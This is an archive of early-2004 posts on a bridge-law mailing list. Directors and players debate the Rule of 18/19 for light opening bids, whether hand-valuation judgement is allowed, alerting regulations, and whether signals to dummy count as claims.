<3FF92C5D.5010605@hdw.be> Message-ID: Herman wrote: > No, I don't go around questioning players who have not broken the Ro18 > whether or not they have done so before. Why on earth not? The EBU rule is (I believe) that one may not use conventions if one has an agreement to open hands that do meet rule of 18/19. If a partnership makes a conventional bid in an auction that starts with 1 of a suit it is surely up to that partnership to demonstrate, to the satisfaction of the TD, that they do not have an agreement (explicit or implicit) to open non-Ro18/19 hands. Indeed in an auction such as 1S (non Ro18) - 4S there can be no question of playing an illegal convention (at least if we assume 1S and 4S are natural). Tim From hermandw@hdw.be Mon Jan 5 12:07:06 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 13:07:06 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D7B4.4030001@hdw.be> <3FF84380.8050301@hdw.be> <3FF9274D.90203@hdw.be> Message-ID: <3FF9536A.2030301@hdw.be> Hello Brian, Brian Meadows wrote: > On Mon, 05 Jan 2004 09:58:53 +0100, Herman De Wael wrote: > >> >>And what is average strength? You still need to write out that one? >> > > > 10 HCP, with allowances made for hand valuation. > Allowances? Don't you see that you cannot write this out with enough precision to satisfy both the intuitive bridge player and the mathematically inclined bridge lawyer and TD? > >>Don't forget that you are quoting merely the law that allows SO's to >>write regulations. A law which, as we saw, is interpreted very >>liberally. So this phrase, even if it would be precise, is not helpful. >> > > > Yes, it certainly is interpreted very liberally. Too liberally. > That is something we agree upon. > >>>The rule of 19 is a perfectly logical way to implement such a >>>ruling if it must be implemented. What I am arguing against, and >>>I suspect Eric was too, is its *discriminatory* application to >>>light openings - or in the case of the ACBL, one specific light >>>opening. >>> >> >>What do you mean? You agree that Ro19 is a correct way, but you argue >>against the regulation banning them? What are we discussing about then? >> > > > Well, let me start off by reminding you that you initiated the > exchange, concerning a decision taken under EBU regulations as > far as I recall. ;-) But, if you're genuinely confused about > where we differ, I believe it's about applying the rule of 19 > with mathematical precision. If the rule of 19 must be applied, > then I want to allow a player to use his judgement to upgrade a > hand with a bunch of fillers. You're arguing otherwise, as far as > I can tell. Of course, if you want to swap hats between Herman > the player and Herman the TD, that will make things more > complicated, but I think you understand what I mean. > So basically, Brian, you are advocating a "Rule of 18.7". Now sorry for putting on my TD hat, but I don't like such a rule. Where would we be if the regulation would state "a hand can be opened if it satisfies the rule of 19 minus a bunch, where a bunch is defined by Brian Meadows". Don't you see that such a regulation is even worse than the one you are proposing? (except for the player Brian Meadows, of course) Which is why I propose a "rule of 18". In that one, Brian Meadows, the player, can open all his cherished 4333-11 pointers. Of course, we will immediately fall short of BM2, who wants to open some 4333-10 counts as well. But since we are going to find people sitting on any fence we want to put somewhere, I prefer to put the fence where everyone sees it, painted brightly red. Not some fuzzy thing where no-one knows what is allowed and what not. > >>>But you ask what I would write if I were my job to write the >>>regulation? The answer is very simple. My resignation. I wouldn't >>>want my name to be associated with the job. Let someone else >>>spend their time writing ludicrous regulations. If the WBF wants >>>to impose that regulation, let them write it themselves. >>> >> >>Well, Brian, with that attitude we are not going anywhere. > > > You asked me a question, and I answered it. If you don't like the > answer, that's not my problem. > Nor mine. I asked you to write a better regulation. You refused. I interpret that as saying that you agree with me that there are no better regulations. Would you rather have me interpret it as meaning that you intend to flaunt any regulation whatsoever? > My "attitude" is one where I value my integrity, and that, at > least to me, means not being prepared to write regulations which > I believe are ludicrous. > No, you prefer to have them be written by people who don't believe them to be ridiculous, and then continue to criticize the resulting regulations for being ludicrous. As I said, with that attitude, there is no need for discussion. > >>But I chose >>to interpret it as saying that you agree with me. The banning of light >>openings is ludicrous, but if it has to be done, then the Ro19, >>without judgment, is as good a way of doing it as any. > > > It's good in the same way that getting one punch on the nose is > good when the only alternative is two punches on the nose. If a > few more people had that "attitude" of mine, maybe we wouldn't > have as many ludicrous regulations. > If a few more TD's had my attitude, the world at large would see that regulations banning light openings are ludicrous. > Brian. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From blml@wellsborocomputing.com Mon Jan 5 12:15:39 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Mon, 05 Jan 2004 07:15:39 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> Message-ID: On Sun, 4 Jan 2004 19:34:54 +0000, David Stevenson wrote: > As I would rule. If you would open all 4333 11-counts one of a suit >you are not playing Ro19 by agreement, thus your opening is illegal. > I didn't say that, David. I said that I judged some specific 11 HCP 4333 hands to be worth upgrading. "Some" does not equal "all". > That is not the problem, which is one of judgement. That is just you >playing a clearly illegal system. > I really think you ought to read what I said more carefully before you make that sort of accusation. Once again, I did *not* say that I would open *ALL* 11 HCP 4333 hands. I was specifically told that I was not allowed to use my judgement as regards applying the rule of 19, that it did not matter how good the fillers were, the rule had to be applied with mathematical precision. I have to admit that it went against the grain passing 11 HCP balanced hands when our opps could open them 1NT with impunity, but I would guesstimate that my partner and I passed at least 95%, probably more, of the 11 HCP 4333 hands we picked up. In the end, we gave up and switched to a mini NT as well. > The judgement problem comes when you are playing a 10-12 1NT at L3 in >the EBU, or at GCC in the ACBL,a nd oyu open 1NT on > > QJTx > Kx > KT9x > T9x > > In the EBU there is no problem: this is not evidence of a concealed >partnership understanding, or an illegal partnership understanding: this >is an example of a player using judgement, which is not illegal. > Right. And if I opened a Precision 1D on KQTx KTx KTx T9x would you still accuse me of playing an illegal system? That's the sort of 11 HCP 4333 I'm referring to, not KQxx Kxx Kxx xxx > It is alleged that in the ACBL this would automatically be ruled >illegal, since no judgement is permitted. > > But if you open all 11-count 4333s with a Precision 1D you are not >playing Ro19 so your system is illegal: that is nothing to do with >judgement. > I agree with you - but that's a straw man. The suggestion that I would open *all* 4333 11 counts is yours, not mine. The TDs in question asked me whether I would always open the hands *I actually held*. I interpreted that question as meaning would I always consider that specific hand to be worth upgrading. If what the TDs actually meant was would I always open *ALL* 11 HCP 4333 shapes, then I certainly didn't understand that from the questions. > > They were applying it correctly and you were playing an illegal >system. I think you've misread what I said. Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From hermandw@hdw.be Mon Jan 5 12:17:34 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 13:17:34 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <000101c3d30a$21d77d50$602f37d2@Desktop> <3FF927E7.3080800@hdw.be> Message-ID: <3FF955DE.6080408@hdw.be> OK Brian, I'll bite. Brian Meadows wrote: > > > No, Herman, it doesn't render it "non-existent". It leaves you > with an awkward problem of how to decide whether a player's > judgement is valid or not. The rule of 19 becomes a guideline, > not a mathematical tool. > > For example, if I picked up my AJ1098 KJ109 10987 void > and said that I judged the fillers made it worth a rule of 19 > opener, then I think most people would agree with me. I will go even further and say that everyone would agree with you. > Make that > hand QJ1098 KJ109 10987 void and you'd (quite rightly) > decide that I was taking the piss if I tried to claim that it was > a rule of 19 opener. > I will go further than I wanted to, and say that 100% of the TD's in the world would agree with someone who said that it would be taking the piss. But between: AJ1098 KJ109 10987 void and QJ1098 KJ109 10987 void there is KJ1098 KJ109 10987 void Shall we try a poll and ask all TD's in the world whether or not this has enough fillers to make it worth a rule of 19 opening? And if we find - by extreme luck - that 100% of all TD's are in agreement, then I can construct some hand between them. At some point, there is a hand on which the TD's don't agree anymore. If I, as player, get that hand, and if I, as player, am a light opener, what should I do? Now go back to an absolute law of 19. Give any hand (including the original one) to any TD, and to any player, and they will immediately be able to decide whether or not it would be illegal to open on it or not. What do you prefer? I know what I prefer. Why do you prefer that? Because you are a player, and probably one who wishes to use light openings. > As far as I see it, the question boils down to whether you want > to make life (much) easier for the TD, and have a rule which you > can apply with mathematical precision, or whether you want to > allow judgement for ALL opening bids, at the cost of giving TDs > some difficult judgement decisions. > That is indeed what the question boils down to. > While I admit I don't like the idea that the decision you get > would depend on the TD called, I think that's preferable to > banning the use of judgement for light openers. > Why? > > Brian. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From H.W.Pieters@gasunie.nl Mon Jan 5 12:18:52 2004 From: H.W.Pieters@gasunie.nl (Pieters H.W.) Date: Mon, 5 Jan 2004 13:18:52 +0100 Subject: [blml] TFLB purpose Message-ID: Considering the neutral phrasing of the alternatives I'd have to go with = B -----Oorspronkelijk bericht----- Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]Namens Nigel Guthrie Verzonden: zondag 4 januari 2004 02:28 Aan: blml@rtflb.org Onderwerp: [blml] TFLB purpose All WBF/WBFLC members should urgently answer this question: The purpose of TFLB should be (Please answer A or B but you may qualify/amend your answer in your own words). A. To help *players*, the world over, to enjoy a wonderful game -- by stating its rules in an as up-to-date, simple, clear, complete, universal, and objective way, as possible; with relevant examples -- and with any essential corrections published regularly on the web. B. To ensure that the law as a whole remains inaccessible to most players; but to challenge TDs, ACs, and BLMLers with interesting problems on obsolete, sophisticated, ambiguous, inconsistent, incomplete and subjective laws; with cosmetic alterations published every decade of so; supplemented by... (i) Sporadic, obscure, and voluminous WBFLC minutes and mind-boggling AC rulings. (ii) Mountains of locally produced white books, yellow books, alerting guides... -- to plug TFLB holes and gaps (on bidding boxes, CCs, permitted systems, alerting, and so on) -- to encourage divergent chauvinist regulations, mutually conflicting, rapidly mutating with new editions every year. Surely some members of the WBF or WBFLC still *play* Bridge? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _________________________________________________________________________= ___ This communication is intended only for use by the addressee. It may cont= ain=20 confidential or privileged information. If you receive this communication= =20 unintentionally, please let us know by reply immediately. Gasunie does no= t =20 guarantee that the information sent with this E-mail is correct and does = not=20 accept any liability for damages related thereto. = =20 _________________________________________________________________________= ___ From blml@wellsborocomputing.com Mon Jan 5 12:23:28 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Mon, 05 Jan 2004 07:23:28 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF92B7D.8060904@hdw.be> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF92B7D.8060904@hdw.be> Message-ID: <6dlivvc1dnhlul4gcfvr99tnipedev2qt0@4ax.com> On Mon, 05 Jan 2004 10:16:45 +0100, Herman De Wael wrote: >> >> They were applying it correctly and you were playing an illegal >> system. >> > >Please note this, Brian. Oh, I noted it all right, Herman. I also noted that David distorted (I'm not saying intentionally) what I said before he came up with this decision. I think that when he gets round to reading what I said *accurately*, then he'll change his mind. At the risk of boring everyone, I am not arguing that you should be able to upgrade EVERY hand that's one HCP (or Ro19 point) less than the limit. I have not said that. I *am* arguing that if you have a hand which is reasonably worth one HCP more than the strict Work count indicates by virtue of the intermediate cards, then you SHOULD be allowed to use your judgement to upgrade it, irrespective of whatever the opening bid might be. Brian. From blml@blakjak.com Mon Jan 5 12:58:16 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 5 Jan 2004 12:58:16 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <6dlivvc1dnhlul4gcfvr99tnipedev2qt0@4ax.com> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF92B7D.8060904@hdw.be> <6dlivvc1dnhlul4gcfvr99tnipedev2qt0@4ax.com> Message-ID: Brian Meadows wrote >On Mon, 05 Jan 2004 10:16:45 +0100, Herman De Wael wrote: > > > >>> >>> They were applying it correctly and you were playing an illegal >>> system. >>> >> >>Please note this, Brian. > >Oh, I noted it all right, Herman. I also noted that David >distorted (I'm not saying intentionally) what I said before he >came up with this decision. I think that when he gets round to >reading what I said *accurately*, then he'll change his mind. I will say that, as a generality, I find your articles very difficult to understand. You have complained many times that I have mis-quoted you or whatever: I believe you are *very* easy to mis-read or misunderstand. It is *possible* that you are playing Ro19 and found sufficient 4333 11-counts that were so fantastically good that the TD was called [what was it: 9!!! times???] in the course of a few years to check, and ruled against you unfairly. It is also *possible* that I shall not only win 1,000,000 GBP on the National Lottery this week, but next week as well. Both possibilities are in the same likelihood of Osama bin Laden sending a large donation to fund the American Secret Service. Much much much much more likely is that you were playing an illegal system, since you were opening a sufficient proportion of 4333 11-counts that you clearly had an agreement, implicit perhaps, to open Ro18. After all, apart from the 9 [??] times you were ruled against, what happened to *every* other time you opened 1D? Are you seriously suggesting that the only times you ever opened a 4333 11-count the TD got called? If I decided to play an illegal system tomorrow, and used it consistently, I do not believe that the TD would be called more than one time in eight or so that I actually used the illegal system. >At the risk of boring everyone, I am not arguing that you should >be able to upgrade EVERY hand that's one HCP (or Ro19 point) less >than the limit. I have not said that. > >I *am* arguing that if you have a hand which is reasonably worth >one HCP more than the strict Work count indicates by virtue of >the intermediate cards, then you SHOULD be allowed to use your >judgement to upgrade it, irrespective of whatever the opening bid >might be. Sure - but the evidence you cited suggested you opened 1D more frequently than that, making it illegal under EBU rules, despite the fact that the EBU does permit judgement. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Jan 5 13:04:47 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 5 Jan 2004 13:04:47 +0000 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] In-Reply-To: References: Message-ID: RJH wrote >James Hudson: > >>My original question was: >> >>>>When there are several TDs, do they get >>>>together and pool their information? >> >>I meant: their information about director >>calls, not their information about score >>adjustments, warnings, etc. If a director >>is called to the table because one pair has >>forgotten one of its agreements, does the >>director report this to his colleagues even >>if no score adjustment was called for? >>(Perhaps the director merely said to the NOs: >>"Call me back at the end of the hand if you >>think you were damaged," and he wasn't called >>back.) I expect a negative answer. > >Richard Hills: > >James underestimates the propensity of bored >TDs at a large event to gossip with each other. Not always about what every player has done wrong: there are other subjects, like why the Indians are beating Australia at cricket, and what happened in the Rugby Union final. :))) >But, for the sake of argument, assume that the >TDs have taken a partial vow of silence, and >only communicate with each other when protocol >requires. > >Assume that approximately 50% of TD calls for >MI necessitate a score adjustment. So, if one >assumes that all TDs at a large event consult >on all MI score adjustments, then there will >be ample statistical evidence for one TD to >have a prima facie deduction that a particular >pair is over-frequently forgetting a particular >convention. > >And, of course, that TD would consult with all >other TDs *before* the TD converts prima facie >evidence into a ruling that a pair is banned >from future mangling of their merely notionally >agreed convention. > >After all, such a ruling is a judgement ruling, >and protocol requires that all TDs consult on >all judgement rulings in Aussie large events. When I directed in Australia I was told this was the rule but in fact it never happened, and would have been totally impractical. For example, in Canberra, there was a mile between two parts of the playing area. No way would TDs from one part be involved in judgement rulings from the other part. Furthermore, it was just an impractical rule *anyway*. There are always TDs that are busy doing something, so in practice there are three or four TDs huddling over a ruling, and more doing something else. Thus never did all the TDs get together at once. >What's the problem? The methodology does not work. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gordon@gordonrainsford.co.uk Mon Jan 5 13:14:46 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 5 Jan 2004 13:14:46 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D7B4.4030001@hdw.be> <3FF84380.8050301@hdw.be> Message-ID: <223AA45E-3F81-11D8-AC57-0003936A6522@gordonrainsford.co.uk> On 4 Jan 2004, at 17:39, Brian Meadows wrote: > On Sun, 04 Jan 2004 17:46:56 +0100, Herman De Wael wrote: > >>> >>> Not according to DWS, if you read his reply. He states that the >>> EBU considers judgement to be part of the game. >>> >> >> So do I, but I do not conclude from that that a regulation which does >> not include judgment should per force be illegal. >> > > Interesting. If the EBU states that players are allowed to use > judgement in upgrading hands, and some of their TDs say that > players are not, I would conclude that those TDs are applying a > rule which does not exist. > >>> >>> In other words, contrary to DWS's statement, the rule was being >>> applied strictly. >>> >> >> When did DWS say that it wasn't, or shouldn't? > > In his message where he stated that the EBU allows a player to > use judgement. My memory of the last time this was discussed in detail (in July last year, in a thread entitled "HCP"), was that the comments of the Chair of the EBU L&E committee were not in complete accord with DWS on this. > >> You drew the conclusion from David's statements that some other EBU >> director got it wrong. > > Yes. The ones who told me that I was not allowed to use > judgement. > >> I can draw 2 different conclusions from the apparent discrepancy >> between David's statements and the actions of some other TD: >> -David got it wrong (incredible, but possible); > > Agreed. However, since my response was to his explicit statement > of EBU policy, I don't think it would have got things very far if > I'd questioned whether DWS actually knew what he was talking > about. I think it might be worth asking for a reference to a statement of that policy. -- Gordon Rainsford London UK From nigel.guthrie@ntlworld.com Mon Jan 5 13:31:27 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 5 Jan 2004 13:31:27 -0000 Subject: [blml] Range restrictions References: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> Message-ID: <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> IMO... (1) The law is an ass to make strict rules about (a) Milton HCP ranges for 10-12 notrumps (ACBL) (b) Rule of 19 lower limits for opening bids (EBU) (2) If we must have such rules, they should be in the TFLB and apply universally (unless specifically countermanded by an SO). At present, most players are unaware of the complexities and details because they vary from place to place and year to year. In their current form, their main utility is as a conversation piece for BLMlers. (3) But if law-makers are persuaded to make these rules (bowing to Richard James Hill's putative consensus of tyros), then players should abide by them. (4) Bridge is a *game*. A game is its *rules*. To waffle about superior *judgement* is mealy-mouthed prevarication. In an earlier email, David Burn hit the nail on the head: If you follow David Stevenson's advice, what's to stop you "judging" that eights are worth two points each. If a TD points out that this is ridiculous, you can remind him that such judgements are subjective and that today's orthodoxy is yesterday's heterodoxy. (5) If you really are allowed to temper the EBU Orange Book dictates with your own "judgments", then this fact should be publicised; because currently there are still a few masochistic players who handicap themselves by slavishly following the regulations, as written. (6) (For some reason this next point seems to be controversial). When asked to specify strength in HCP, you shouldn't adjust for honour placement, shape, texture and so on. For instance, if, in practice, your notrump range is a good 14 to a poor 18, then that is how you should describe it. Not, for example, "15-17". Of course, you should *qualify* your answer with any other requirements. Full disclosure is especially important during the play because the usual incomplete or inaccurate explanation often leads the defence astray. (7) If your notrump opening is a notional 12-14, but you would never open a poor 12 at the prevailing adverse vulnerability, then you should divulge this information when asked. Similar considerations apply to any propensity to open 10-11 counts at favourable vulnerabiltiy. (8) To avoid making such admissions, some players cite the infamous "General Knowledge and Experience" get-out clause. That notorious legal device should be expunged from the next revision of the laws. To me this is so obvious that it is hardly worth stating. In the past, however, such views have met with a torrent of ridicule. At least they did attract some attention. Recently my emails have elicited only the occasional quibble. I accept that there may be fundamental flaws in the arguments. Of course, I welcome corrections. Conversely, if you managed to read all of this and agree with most of it, I would be grateful if you would post a reply to that effect. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From nigel.guthrie@ntlworld.com Mon Jan 5 14:04:35 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 5 Jan 2004 14:04:35 -0000 Subject: [blml] Cooper echo References: Message-ID: <013b01c3d394$da7ab040$2a9468d5@tinyhrieuyik> [Richard James Hills] A Cooper Echo is intended as a signal to partner. A Cooper Echo is not intended as a claim statement to the opponents. So, I sophisticatedly argue that opponents' eavesdropping on my signal to dummy does not constitute a claim, when my demonstrable intention was merely to reassure partner. [: Nigel :] IMO Richard is again right. A Cooper Echo is no more a claim than declarer's bid of 4S is a claim for ten tricks or a defender's penalty double thereof is a claim for four tricks. Common sense agrees with TFLB in permitting encrypted one-way communication from declarer to dummy. A claim is a signal *to opponents* but they can only guess at the code declarer uses to signal to dummy. Arguably, such signals are merely a politeness to opponents to avoid gloating overtly about impending success. You could even use odd-even and other nuances to indicate what you'd like to drink. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From nigel.guthrie@ntlworld.com Mon Jan 5 14:39:00 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 5 Jan 2004 14:39:00 -0000 Subject: [blml] Cooper echo Message-ID: <016201c3d399$a9db89a0$2a9468d5@tinyhrieuyik> Point of information If you reassure the table "It is only a question of overtricks" (in those words), is that a claim? Of course, if the statement is inaccurate, you would expect the TD to rule against you; Even if it is correct, the TD might still rule against you for gloating or distracting opponents; but is it a claim within the TFLB definition? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From hermandw@hdw.be Mon Jan 5 14:41:07 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 15:41:07 +0100 Subject: [blml] Range restrictions In-Reply-To: <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> References: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> Message-ID: <3FF97783.6060303@hdw.be> Need I say that I agree with Nigel 110% ? (well, actually only 98%, but for me, that is very much) Nigel Guthrie wrote: [read the original] -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Mon Jan 5 14:45:58 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 15:45:58 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF92B7D.8060904@hdw.be> <6dlivvc1dnhlul4gcfvr99tnipedev2qt0@4ax.com> Message-ID: <3FF978A6.3000404@hdw.be> David, see what you are doing? David Stevenson wrote: > Brian Meadows wrote > >> >> Oh, I noted it all right, Herman. I also noted that David >> distorted (I'm not saying intentionally) what I said before he >> came up with this decision. I think that when he gets round to >> reading what I said *accurately*, then he'll change his mind. > > > I will say that, as a generality, I find your articles very difficult > to understand. You have complained many times that I have mis-quoted > you or whatever: I believe you are *very* easy to mis-read or > misunderstand. > > It is *possible* that you are playing Ro19 and found sufficient 4333 > 11-counts that were so fantastically good that the TD was called [what > was it: 9!!! times???] in the course of a few years to check, and ruled > against you unfairly. It is also *possible* that I shall not only win > 1,000,000 GBP on the National Lottery this week, but next week as well. > Both possibilities are in the same likelihood of Osama bin Laden sending > a large donation to fund the American Secret Service. > > Much much much much more likely is that you were playing an illegal > system, since you were opening a sufficient proportion of 4333 11-counts > that you clearly had an agreement, implicit perhaps, to open Ro18. After > all, apart from the 9 [??] times you were ruled against, what happened > to *every* other time you opened 1D? Are you seriously suggesting that > the only times you ever opened a 4333 11-count the TD got called? > You see what you are doing? You have just taken someone who has stated he opens only 5% of his 4443-11 counters, and ruled against him. Now how does that conform with your saying that you are allowed to use judgment? At least I'm consistent. I say that I will rule against you, and I will. You say that you permit judgment, but when someone claims he was using judgment, you still rule against him. > If I decided to play an illegal system tomorrow, and used it > consistently, I do not believe that the TD would be called more than one > time in eight or so that I actually used the illegal system. > I shall refrain from calling you a cheat - you would never do this, would you? Can you be as certain of all other players? -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From blml@wellsborocomputing.com Mon Jan 5 15:06:34 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Mon, 05 Jan 2004 10:06:34 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF955DE.6080408@hdw.be> References: <000101c3d30a$21d77d50$602f37d2@Desktop> <3FF927E7.3080800@hdw.be> <3FF955DE.6080408@hdw.be> Message-ID: On Mon, 05 Jan 2004 13:17:34 +0100, Herman De Wael wrote: >OK Brian, I'll bite. > Same here. > >And if we find - by extreme luck - that 100% of all TD's are in >agreement, then I can construct some hand between them. >At some point, there is a hand on which the TD's don't agree anymore. >If I, as player, get that hand, and if I, as player, am a light >opener, what should I do? > Then you have to use your judgement. Yes, I know that this is far from being an ideal solution. It's a question of which you consider the lesser of two evils. >> While I admit I don't like the idea that the decision you get >> would depend on the TD called, I think that's preferable to >> banning the use of judgement for light openers. >> > >Why? > Because I think hand valuation is an integral part of the game, and I don't believe it should be legislated out of *any* part of it. Brian. From blml@wellsborocomputing.com Mon Jan 5 15:33:03 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Mon, 05 Jan 2004 10:33:03 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF92B7D.8060904@hdw.be> <6dlivvc1dnhlul4gcfvr99tnipedev2qt0@4ax.com> Message-ID: On Mon, 5 Jan 2004 12:58:16 +0000, David Stevenson wrote: >It is also *possible* that I shall not only win >1,000,000 GBP on the National Lottery this week, but next week as well. >Both possibilities are in the same likelihood of Osama bin Laden sending >a large donation to fund the American Secret Service. > Telling me that you think I'm a liar is always a short way to end any discussion with me. I have my faults, but dishonesty isn't one of them. You've told us before that you have some members of BLML in your kill file. Well, now you can keep Kojak company in mine. Please feel free to reciprocate. Brian. From ereppert@rochester.rr.com Mon Jan 5 15:35:41 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 5 Jan 2004 10:35:41 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF927E7.3080800@hdw.be> Message-ID: On Monday, Jan 5, 2004, at 04:01 US/Eastern, Herman De Wael wrote: > Saying that, by exception or by judgment, you ARE allowed to open > this, in the face of existing regulation, does not make the regulation > absurd, it simply renders it non-existent. Oh, good. I don't have to obey speed limits, then. I can just say I AM allowed to go 80 MPH, and the police will leave me to it. :-) From ereppert@rochester.rr.com Mon Jan 5 15:37:21 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 5 Jan 2004 10:37:21 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF92868.6060407@hdw.be> Message-ID: <0D6657AF-3F95-11D8-9CDA-0030656F6826@rochester.rr.com> On Monday, Jan 5, 2004, at 04:03 US/Eastern, Herman De Wael wrote: > Because I don't know that they are. Then I submit that to call them so, even in your own mind, is wrong. From blml@wellsborocomputing.com Mon Jan 5 15:46:47 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Mon, 05 Jan 2004 10:46:47 -0500 Subject: [blml] Range restrictions In-Reply-To: <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> References: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> Message-ID: <361jvvksnvl93sq7nt1eq6go2l7tj0ppjk@4ax.com> On Mon, 5 Jan 2004 13:31:27 -0000, Nigel Guthrie wrote: >IMO... > >Conversely, if you managed to read all of this and >agree >with most of it, I would be grateful if you would post >a >reply to that effect. > I'll agree with *most* of it, Nigel. Certainly if rules banning judgement are to be in place, then they should be in TFLB, not in NCBO regulations. Doesn't make them any less ludicrous, but at least we're all subject to the same idiocies. In just the same way, L40 should be rewritten, rather than allowing those NCBOs who so choose to use a backdoor method of regulation because the WBFLC don't object. Brian. From richard_willey@symantec.com Mon Jan 5 15:56:00 2004 From: richard_willey@symantec.com (Richard Willey) Date: Mon, 5 Jan 2004 07:56:00 -0800 Subject: [blml] 2004 